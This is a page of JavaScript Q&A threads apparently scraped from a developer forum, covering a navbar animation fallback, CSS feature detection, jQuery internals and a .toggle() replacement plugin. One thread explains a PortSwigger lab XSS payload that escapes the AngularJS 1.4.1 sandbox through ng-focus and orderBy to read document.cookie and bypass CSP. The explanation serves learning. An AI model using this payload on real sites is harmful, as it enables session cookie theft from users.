If/Else Javascript statement to disable transition animation if failed - javascript

I have a navigation bar that has a hamburger menu button. The navigation menu worked on all browsers before I added an open/close javascript animation. On a few older browsers, the script will unfortunately prevent the menu from opening at all if clicked. But it works on most newer browsers. I need to make the script stop if it doesn't execute properly to let the older browsers be able to open the navigation bar.
I have written an easy fix to stop the script from executing if "something" is false.
if (something == false) {
<!--animation script goes here -->
stop
}
Changing "something" to different things has given me interesting results. If I change it to
if (data == false) {
<!--animation script goes here -->
stop
}
Then it will completely stop the script even in the browsers that ran the animation perfectly before.
My question is, what can I replace "something" with to make the script stop if it didn't run successfully?
Here is the animation script, if you need it. (Don't let it scare you. All I need is to stop this script if the animation fails.)
! function() {
"use strict";
function e() {
var e, t = document.createElement("div"),
n = {
transition: "transitionend",
OTransition: "otransitionend",
MozTransition: "transitionend",
WebkitTransition: "webkitTransitionEnd"
};
for (e in n)
if (n.hasOwnProperty(e) && void 0 !== t.style[e]) return n[e];
return !1
}
function t(e) {
var t = {};
e = e || window.event, t.evTarget = e.currentTarget || e.srcElement;
var n = t.evTarget.getAttribute("data-target");
return t.dataTarget = n ? document.querySelector(n) : !1, t
}
function n(e) {
var t = e.style.height;
e.style.height = "auto";
var n = getComputedStyle(e).height;
return e.style.height = t, e.offsetHeight, n
}
function a(e, t) {
if (document.createEvent) {
var n = document.createEvent("HTMLEvents");
n.initEvent(t, !0, !1), e.dispatchEvent(n)
} else e.fireEvent("on" + t)
}
function r(e, t) {
e.classList.remove("collapse"), e.classList.add("collapsing"), t.classList.remove("collapsed"), t.setAttribute("aria-expanded", !0), e.style.height = n(e), u ? e.addEventListener(u, function() {
s(e)
}, !1) : s(e)
}
function i(e, t) {
e.classList.remove("collapse"), e.classList.remove("in"), e.classList.add("collapsing"), t.classList.add("collapsed"), t.setAttribute("aria-expanded", !1), e.style.height = getComputedStyle(e).height, e.offsetHeight, e.style.height = "0px"
}
function s(e) {
e.classList.remove("collapsing"), e.classList.add("collapse"), e.setAttribute("aria-expanded", !1), "0px" !== e.style.height && (e.classList.add("in"), e.style.height = "auto")
}
function o(e) {
e.preventDefault();
var n = t(e),
a = n.dataTarget;
return a.classList.contains("in") ? i(a, n.evTarget) : r(a, n.evTarget), !1
}
function l(e) {
function n() {
try {
i.parentNode.removeChild(i), a(i, "closed.bs.alert")
} catch (e) {
window.console.error("Unable to remove alert")
}
}
e.preventDefault();
var r = t(e),
i = r.dataTarget;
if (!i) {
var s = r.evTarget.parentNode;
s.classList.contains("alert") ? i = s : s.parentNode.classList.contains("alert") && (i = s.parentNode)
}
return a(i, "close.bs.alert"), i.classList.remove("in"), u && i.classList.contains("fade") ? i.addEventListener(u, function() {
n()
}, !1) : n(), !1
}
function c(e) {
e = e || window.event;
var t = e.currentTarget || e.srcElement;
return t.parentElement.classList.toggle("open"), !1
}
function d(e) {
e = e || window.event;
var t = e.currentTarget || e.srcElement;
return t.parentElement.classList.remove("open"), e.relatedTarget && "dropdown" !== e.relatedTarget.getAttribute("data-toggle") && e.relatedTarget.click(), !1
}
for (var u = e(), g = document.querySelectorAll("[data-toggle=collapse]"), v = 0, f = g.length; f > v; v++) g[v].onclick = o;
for (var p = document.querySelectorAll("[data-dismiss=alert]"), h = 0, m = p.length; m > h; h++) p[h].onclick = l;
for (var L, T = document.querySelectorAll("[data-toggle=dropdown]"), y = 0, E = T.length; E > y; y++) L = T[y], L.setAttribute("tabindex", "0"), L.onclick = c, L.onblur = d}();
I was thinking someone may be able to just say something like "if (transition == false) { stop }" or something that does that, that would be perfect.

Step 1
Let's begin by determining how we want to call our function. We'll keep things simple here; something like the following should do the trick:
if ( supports('textShadow') ) {
document.documentElement.className += ' textShadow';
}
That should be the final function call. When we pass a CSS property name to the supports() function, it'll return a boolean. If true, we'll attach a className to the documentElement, or <html>. This will then provide us with a new 'class' name to hook onto, from our stylesheet.
Step 2
Next, we'll construct the supports() function.
var supports = (function() {
})();
Why aren't we making supports equal to a standard function? The answer is because we have a bit of prep work to do first, and there's absolutely no reason to repeat those tasks over and over every single time the function is called. In cases like this, it's best to make supports equal to whatever is returned from the self-executing function.
Step 3
To test whether or not the browser supports specific properties, we need to create a dummy element, for testing. This generated element will never actually be inserted into the DOM; think of it as a test dummy!
var div = document.createElement('div');
As you're probably aware of, there are a handful of vendor-prefixes that we can use, when working with CSS3 properties:
-moz
-webkit
-o
-ms
-khtml
Our JavaScript will need to filter through those prefixes, and test them. So, let's place them in an array; we'll call it, vendors.
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' ');
Using the split() function to create an array from a string is admittedly lazy, but it saves a handful of seconds!
As we'll be filtering through this array, let's be good boys and girls, and cache the length of the array as well.
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' '),
len = vendors.length;
The prep work, above, is static, in nature, and doesn't need to be repeated every time we call supports(). This is why we only run it once, when the page loads. Now, let's return the function that will actually be assigned to the supports variable.
return function(prop) {
};
The beauty of closures is that, even though supports() is equal to that returned function, it still has access to the div, vendors, and len variables.
Step 4
The immediate test: if the passed property is available to the div's style attribute, we know the browser supports the property; so return true.
return function(prop) {
if ( prop in div.style ) return true;
};
Think of, say, the text-shadow CSS3 property. Most modern browsers support it, without the need for a vendor prefix. With that in mind, why filter through all of the prefixes if we don't need to? That's why we place this check at the top.
Step 5
You're likely used to typing CSS3 property names, like so: -moz-box-shadow. However, if, in Firebug, you review the style object, you'll find that it's spelled, MozBoxShadow. As such, if we test:
'mozboxShadow' in div.style // false
False will be returned. This value is case-sensitive.
Case Sensitive
This means that, if the user passes boxShadow to the supports() function, it'll fail. Let's think ahead, and check if the first letter of the argument is lowercase. If it is, we'll fix the error for them.
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
};
Regular expressions to the rescue! Above, we're checking if there is a single lowercase letter at the beginning of the string (^). Only on the condition that one is found, we use the toUpperCase() function to capitalize the letter.
Step 6
We next need to filter through the vendors array, and test if there's a match. For instance, if box-shadow is passed, we should test if the style attribute of the div contains any of the following:
MozBoxShadow
WebkitBoxShadow
MsBoxShadow
OBoxShadow
KhtmlBoxShadow
If a match is found, we can return true, because the browser does, indeed, provide support for box shadows!
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
while(len--) {
if ( vendors[len] + prop in div.style ) {
return true;
}
}
};
Though we could use a for statement to filter through the array, there's no real need to in this case.
The order isn't important
while statements are quicker to type, and require fewer characters
There's a tiny performance improvement
Don't be confused by vendors[len] + prop; simply replace those names with their real-life values: MozBoxShadow.
Step 7
But, what if none of those values match? In that case, the browser doesn't seem to support the property, in which case we should return false.
while(len--) {
if ( vendors[len] + prop in div.style ) {
return true;
}
}
return false;
That should do it for our function! Let's test it out, by applying a className to the html element, if the browser supports, say, the text-stroke property (which only webkit does).
if ( supports('textStroke') ) {
document.documentElement.className += ' textStroke';
}
Step 8:
Usage
With a class name that we can now hook onto, let's try it out in our stylesheet.
/* fallback */
h1 {
color: black;
}
/* text-stroke support */
.textStroke h1 {
color: white;
-webkit-text-stroke: 2px black;
}
Final Source Code
var supports = (function() {
var div = document.createElement('div'),
vendors = 'Khtml Ms O Moz Webkit'.split(' '),
len = vendors.length;
return function(prop) {
if ( prop in div.style ) return true;
prop = prop.replace(/^[a-z]/, function(val) {
return val.toUpperCase();
});
while(len--) {
if ( vendors[len] + prop in div.style ) {
// browser supports box-shadow. Do what you need.
// Or use a bang (!) to test if the browser doesn't.
return true;
}
}
return false;
};
})();
if ( supports('textShadow') ) {
document.documentElement.className += ' textShadow';
}
source: copy pasted from here
For a more comprehensive solution, refer to the Modernizr library.

Related

Custom vanilla JS for translation does not work on Android Chrome

I've been really struggling to use any (literally any!) client-side (e.g. web browser) translation library. Tested several: jquery-i18next, jquery.i18n, localizejs, translate-js. And guess what - none really worked as expected, not a single one would be just a plug-n-play solution. That's why I decided to write a vanilla Javascript code which would work as a simplest alternative. Here's the code:
let locale;
let dict = {
'en': {...},
'fr': {...}
};
function detectNavigatorLocale() {
const languageString = navigator.language || '';
const language = languageString.split(/[_-]/)[0].toLowerCase();
switch (language) {
case 'en':
return 'en';
case 'de':
return 'de';
default:
return 'en';
}
}
// replacement to $(document).ready() in jQuery
function docReady(fn) {
// see if DOM is already available
if (document.readyState === "complete" || document.readyState === "interactive") {
// call on next available tick
setTimeout(fn, 1);
} else {
document.addEventListener("DOMContentLoaded", fn);
}
}
// helper to get nested value in JSON-like object by dot-path string
function findProp(obj, prop, defval) {
if (typeof defval == 'undefined') defval = null;
prop = prop.split('.');
for (var i = 0; i < prop.length; i++) {
if (typeof obj[prop[i]] == 'undefined')
return defval;
obj = obj[prop[i]];
}
return obj;
}
let switchers = document.querySelectorAll('[data-locale]');
for (let i = 0; i < switchers.length; i++) {
switchers[i].onclick = function () {
let newLocale = switchers[i].getAttribute('data-locale');
locale = newLocale;
translate();
};
}
function translate(newLocale) {
let els = document.querySelectorAll('[data-i18n]');
for (let i = 0; i < els.length; i++) {
let path = els[i].getAttribute('data-i18n');
let translatation = findProp(dict[locale], path, 'undefined');
els[i].innerHTML = translatation;
}
// trigger repainting
window.dispatchEvent(new Event('resize'));
};
docReady(function () {
locale = detectNavigatorLocale();
translate();
});
And to make it work, the only thing to do in HTML is to add attributes to the elements which require translation as <p data-i18n="some.path.in.dictionary">fallback text</p>. To change the language I used <li data-locale="en">EN</li> and similar.
But here's the tricky part: why Desktop browser shows expected results, but several tested mobile browsers refuse to a) emit event on the locale switcher element and b) in some (Brave, Dolphin) even navbar in collapsed state does not unfold. I expect that latter is related to the JS handling in general in the selected browser, but why in Chrome for example the same code does not work?
First of all I replaced the bad practice of setting onclick with the following:
function switchLocale(loc) {
locale = loc;
translate();
}
let switchers = document.querySelectorAll('[data-locale]');
switchers.forEach(
function(switcher) {
switcher.addEventListener("click", function() {
// alert(switcher.id);
switchLocale(switcher.getAttribute('data-locale'));
})
}
)
and tested that it works fine. But the actual problem was that z-index was too low and the image below was overlayered above mobile nav. :)

Plz explain this Angular JS script:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.1/angular.min.js"></script>
<script>
location='https://www.example.com/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
Angular JS Version: 1.4.1 (which still uses Angular JS Sandbox)
Can anyone explain the script inside location variable after the search part?
Specifically what is going inside the orderBy function? - '(z=alert)(docuement.cookie)'#x
How is the alert function being called? etc.
I came across it while solving this lab: https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp
Please let me know if my question needs any more clarification. You can even point me to the specific place at the angularJs docs where this is discussed.
First of all the #x is not part of the orderBy-expression. It is the url fragment. This causes the browser to focus on the input element, thus triggering the ng-focus event.
Just so that we are on the same page here. This is the injected code: <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
The high level view of the exploit is provided by the solution on the page you linked:
The exploit uses the ng-focus event in AngularJS to create a focus event that bypasses CSP. It also uses $event, which is an AngularJS variable that references the event object. The path property is specific to Chrome and contains an array of elements that triggered the event. The last element in the array contains the window object.
Normally, | is a bitwise or operation in JavaScript, but in AngularJS it indicates a filter operation, in this case the orderBy filter. The colon signifies an argument that is being sent to the filter. In the argument, instead of calling the alert function directly, we assign it to the variable z. The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS's window check.
However this does not explain how the alert function is actually called. The solution is hidden in the depths of the AngularJS source code. AngularJS uses its $parse-service to parse expression given to it in attributes. As stated above the expression is a filter-expression using the orderBy-filter. The orderBy-filter implements a function, that takes an array ($event.path) and a sort expression ('(z=alert)(document.cookie)') as arguments and returns the ordered array.
What does the orderBy-filter do with the sort expression?
The sort expression is evaluated against the elements of the array to extract the key which should be used to order the elements. (There are plenty of examples in the doc: https://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy). How does the orderBy-filter do this? It passes the sort expression to the $parse function to transform it into a JS function. The resulting function looks like this:
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
v4 = v5 ? l : s;
if (!(v5)) {
if (s) {
v3 = s.z;
}
} else {
v3 = l.z;
}
if (v4 != null) {
if (!(v6)) {
if (s) {
v2 = s.alert;
}
} else {
v2 = l.alert;
}
ensureSafeObject(v4.z, text);
v1 = v4.z = v2;
if (v1 != null) {
ensureSafeFunction(v1, text);
if (!(v9)) {
if (s) {
v8 = s.document;
}
} else {
v8 = l.document;
}
if (v8 != null) {
v7 = v8.cookie;
}
v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
}
}
return v0;
};
This function is called for every element in $event.path. It is pretty ugly so I tried to clean it up a bit and make it easier to follow:
var fn = function(element, l, a, i) {
// element is the element from $event.path all other parameters are undefined
// these are all falsy
const hasLPropertyZ = l && ('z'in l);
const hasLPropertyAlert = l && ('alert'in l);
const hasLPropertyDocument = l && ('document'in l);
const elementOrL = hasLPropertyZ ? l : element;
// this block is useless
let elementZ;
if (!(hasLPropertyZ)) {
if (element) {
elementZ = element.z;
}
} else {
elementZ = l.z;
}
// ----------------------
let returnValue;
if (elementOrL != null) {
// here begins the real action. We are reading the alert property from our element.
let elementAlert;
if (!(hasLPropertyAlert)) {
if (element) {
elementAlert = element.alert;
}
} else {
elementAlert = l.alert;
}
ensureSafeObject(elementOrL.z, text);
// and assigning it to property z of our element
// this is the (z=alert) part of the expression
const alertFunction = elementOrL.z = elementAlert;
// if the alertFunction is null (on all elements except the window element) we don't do anything.
if (alertFunction != null) {
// one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
ensureSafeFunction(alertFunction, text);
// here we are reading window.document
let theDocument;
if (!(hasLPropertyDocument)) {
if (element) {
theDocument = element.document;
}
} else {
theDocument = l.document;
}
// then we read document.cookie
let theCookie;
if (theDocument != null) {
theCookie = theDocument.cookie;
}
// executing alert
returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
}
}
return returnValue;
};
return fn;
As you can see, this function essentially implements the following code:
function(element) {
const alertFunction = element.alert;
element.z = alertFunction;
alertFunction(element.document.cookie);
}
I hope this helps. Let me know if I can clarify something.

Jquery Evolution from simple plain javascript

i have been using jquery for a while now but only thing i know about jquery is probably a dozen of functions that get my job done. but i want to understand how jquery evolved from simpl plain javascript i.e how
$("#xyz").val();
is converted to
document.getElementById('xyz').value;
i have searched for my answer on the web but most of the writers are happy to show how you can hook on to different DOM elements with jquery, selector details etc. but nothing can be found about how actually the transition was made. can anyone refer me to some tutorial where i can get my required material?
thanks
jQuery is not a compiler. jQuery does not get compiled into javascript.
.val is a method of an object. The jQuery object.
Specifically it is
function (value) {
if (!arguments.length) {
var elem = this[0];
if (elem) {
if (jQuery.nodeName(elem, "option")) {
// attributes.value is undefined in Blackberry 4.7 but
// uses .value. See #6932
var val = elem.attributes.value;
return !val || val.specified ? elem.value : elem.text;
}
// We need to handle select boxes special
if (jQuery.nodeName(elem, "select")) {
var index = elem.selectedIndex,
values = [],
options = elem.options,
one = elem.type === "select-one";
// Nothing was selected
if (index < 0) {
return null;
}
// Loop through all the selected options
for (var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++) {
var option = options[i];
// Don't return options that are disabled or in a disabled optgroup
if (option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
// Get the specific value for the option
value = jQuery(option).val();
// We don't need an array for one selects
if (one) {
return value;
}
// Multi-Selects return an array
values.push(value);
}
}
return values;
}
// Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified
if (rradiocheck.test(elem.type) && !jQuery.support.checkOn) {
return elem.getAttribute("value") === null ? "on" : elem.value;
}
// Everything else, we just grab the value
return (elem.value || "").replace(rreturn, "");
}
return undefined;
}
var isFunction = jQuery.isFunction(value);
return this.each(function (i) {
var self = jQuery(this),
val = value;
if (this.nodeType !== 1) {
return;
}
if (isFunction) {
val = value.call(this, i, self.val());
}
// Treat null/undefined as ""; convert numbers to string
if (val == null) {
val = "";
} else if (typeof val === "number") {
val += "";
} else if (jQuery.isArray(val)) {
val = jQuery.map(val, function (value) {
return value == null ? "" : value + "";
});
}
if (jQuery.isArray(val) && rradiocheck.test(this.type)) {
this.checked = jQuery.inArray(self.val(), val) >= 0;
} else if (jQuery.nodeName(this, "select")) {
var values = jQuery.makeArray(val);
jQuery("option", this).each(function () {
this.selected = jQuery.inArray(jQuery(this).val(), values) >= 0;
});
if (!values.length) {
this.selectedIndex = -1;
}
} else {
this.value = val;
}
});
}
If we break the above wall down we can get
function (value) {
if (arguments.length === 0) {
return (this[0].value || "")
}
this.value = val;
return this;
}
Of course jQuery has a lot more code to deal with various edge cases and special things.
In essence jQuery takes a selector. finds the elements. Stores them internally then returns you an object.
This object has all kinds of methods that allow you to mutate the underlying dom objects stored internally. .val is one of them.
There are plenty of articles on how jQuery works (there are screencasts too).
jQuery, as you've noticed, is basically a bunch of methods operating on an array of elements. It is also intended to normalize browser differences under the hood.
Take the basic usage $("#xyz").val();
I can even tell you what jQuery is doing behind the scenes, but I don't think you really want to know. :)
var jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
return new jQuery.fn.init( selector, context );
},
// ...
jQuery.fn = jQuery.prototype = {
init: function( selector, context ) {
// ...
},
// ...
};
// Give the init function the jQuery prototype for later instantiation
jQuery.fn.init.prototype = jQuery.fn;
So basically $(selector) means newjQuery.fn.init(selector), it's just a shortcut for easier typing (and also to prevent the "bug" where fogetting new binds this to the global object, instead of the current instance).
Also, the so-called plug-ins added as jQuery.fn.ext are mapped to jQuery.fn.init.prototype as you can see in the last line, it's another shortcut. So when you call $(selector) everything that is added to jQuery.fn will also be on jQuery.fn.init.prototype and so the new instance will have those methods as $(selector).ext(...).
// as you use it today
jQuery.fn.plugin = function ( ... ) { ... }
$(selector).plugin( ... )
// as it would be without shortcuts
jQuery.fn.init.prototype.plugin = function ( ... ) { ... }
(new jQuery.fn.init(selector)).plugin( ... )

How to invoke a method of js object after invoking another method?

I often saw this code in jQuery.
$('div').action1().delay(miliseconds).action2();
I could realize it in one level action in the following code.
function $(id) {
var $ = document.getElementById(id);
$.action1 = function() {
};
return $;
}
How to write the method delay() and action2() so that I could use them this way?
$('div').action1().delay(miliseconds).action2();
What you're referring to is called chaining. Aside from the fact that delay is used for animations, the key point to remember is to return this from your function.
If you'd like to see how specific jQuery functions work, check out the code for removeClass:
removeClass: function( value ) {
if ( jQuery.isFunction(value) ) {
return this.each(function(i) {
var self = jQuery(this);
self.removeClass( value.call(this, i, self.attr("class")) );
});
}
if ( (value && typeof value === "string") || value === undefined ) {
var classNames = (value || "").split(rspace);
for ( var i = 0, l = this.length; i < l; i++ ) {
var elem = this[i];
if ( elem.nodeType === 1 && elem.className ) {
if ( value ) {
var className = (" " + elem.className + " ").replace(rclass, " ");
for ( var c = 0, cl = classNames.length; c < cl; c++ ) {
className = className.replace(" " + classNames[c] + " ", " ");
}
elem.className = jQuery.trim( className );
} else {
elem.className = "";
}
}
}
}
return this;
},
Notice the return this; at the end? That's allowing you to call $('#myelement').removeClass('highlight').someOtherFunction(), because at the end of the removeClass, you're still operating on the jQuery object itself.
If you'd like to examine other functions, check out the development version (unminified) of jQuery: http://code.jquery.com/jquery-1.4.2.js
Edit: to more fully answer your question, you can write your functions to allow chaining in the following way (include after your jQuery include):
(function($){
$.fn.extend({
action1: function() { return this; },
action2: function() { return this; }
})(jQuery);
This is essentially creating your own plugin. You can find a lot of tutorials online for how to do so, or open a plugin you already have an take a look at it.
Here is one simple tutorial: http://www.queness.com/post/112/a-really-simple-jquery-plugin-tutorial
Edit2: Without getting too far into creating jQuery plugins (since your questions is about javascript in general), I just wanted to mention that if you're doing a jQuery plugin, you'll want to do:
return this.each(function() {});
so your function performs on all elements chosen by the selector.
.delay() is used for animations
Sure there's other ways you can do this, but jQuery is chainable in an awesome way. That is, you don't have to write a bunch of anonymous functions or custom callbacks if you don't want to. Convenience in chaining!
On the other hand, if you actually want to customize the callbacks of animations, you can!
$('#foo').slideDown(500, function(){
alert('foo is visible now!');
});
Check out the jQuery Effects API for more information.
It might be helpful to look at JavaScript's native setTimeout() function, too.

Alternative to jQuery's .toggle() method that supports eventData?

The jQuery documentation for the .toggle() method states:
The .toggle() method is provided for convenience. It is relatively straightforward to implement the same behavior by hand, and this can be necessary if the assumptions built into .toggle() prove limiting.
The assumptions built into .toggle have proven limiting for my current task, but the documentation doesn't elaborate on how to implement the same behavior. I need to pass eventData to the handler functions provided to toggle(), but it appears that only .bind() will support this, not .toggle().
My first inclination is to use a flag that's global to a single handler function to store the click state. In other words, rather than:
$('a').toggle(function() {
alert('odd number of clicks');
}, function() {
alert('even number of clicks');
});
do this:
var clicks = true;
$('a').click(function() {
if (clicks) {
alert('odd number of clicks');
clicks = false;
} else {
alert('even number of clicks');
clicks = true;
}
});
I haven't tested the latter, but I suspect it would work. Is this the best way to do something like this, or is there a better way that I'm missing?
Seems like a reasonable way to do it... I'd just suggest that you make use of jQuery's data storage utilities rather than introducing an extra variable (which could become a headache if you wanted to keep track of a whole bunch of links). So based of your example:
$('a').click(function() {
var clicks = $(this).data('clicks');
if (clicks) {
alert('odd number of clicks');
} else {
alert('even number of clicks');
}
$(this).data("clicks", !clicks);
});
Here is a plugin that implements an alternative to .toggle(), especially since it has been removed in jQuery 1.9+.
How to use:
The signature for this method is:
.cycle( functions [, callback] [, eventType])
functions [Array]: An array of functions to cycle between
callback [Function]: A function that will be executed on completion of each iteration. It will be passed the current iteration and the output of the current function. Can be used to do something with the return value of each function in the functions array.
eventType [String]: A string specifying the event types to cycle on, eg. "click mouseover"
An example of usage is:
$('a').cycle([
function() {
alert('odd number of clicks');
}, function() {
alert('even number of clicks');
}
]);
I've included a demonstration here.
Plugin code:
(function ($) {
if (!Array.prototype.reduce) {
Array.prototype.reduce = function reduce(accumulator) {
if (this === null || this === undefined) throw new TypeError("Object is null or undefined");
var i = 0,
l = this.length >> 0,
curr;
if (typeof accumulator !== "function") // ES5 : "If IsCallable(callbackfn) is false, throw a TypeError exception."
throw new TypeError("First argument is not callable");
if (arguments.length < 2) {
if (l === 0) throw new TypeError("Array length is 0 and no second argument");
curr = this[0];
i = 1; // start accumulating at the second element
} else curr = arguments[1];
while (i < l) {
if (i in this) curr = accumulator.call(undefined, curr, this[i], i, this);
++i;
}
return curr;
};
}
$.fn.cycle = function () {
var args = Array.prototype.slice.call(arguments).reduce(function (p, c, i, a) {
if (i == 0) {
p.functions = c;
} else if (typeof c == "function") {
p.callback = c;
} else if (typeof c == "string") {
p.events = c;
}
return p;
}, {});
args.events = args.events || "click";
console.log(args);
if (args.functions) {
var currIndex = 0;
function toggler(e) {
e.preventDefault();
var evaluation = args.functions[(currIndex++) % args.functions.length].apply(this);
if (args.callback) {
callback(currIndex, evaluation);
}
return evaluation;
}
return this.on(args.events, toggler);
} else {
//throw "Improper arguments to method \"alternate\"; no array provided";
}
};
})(jQuery);

Categories

Resources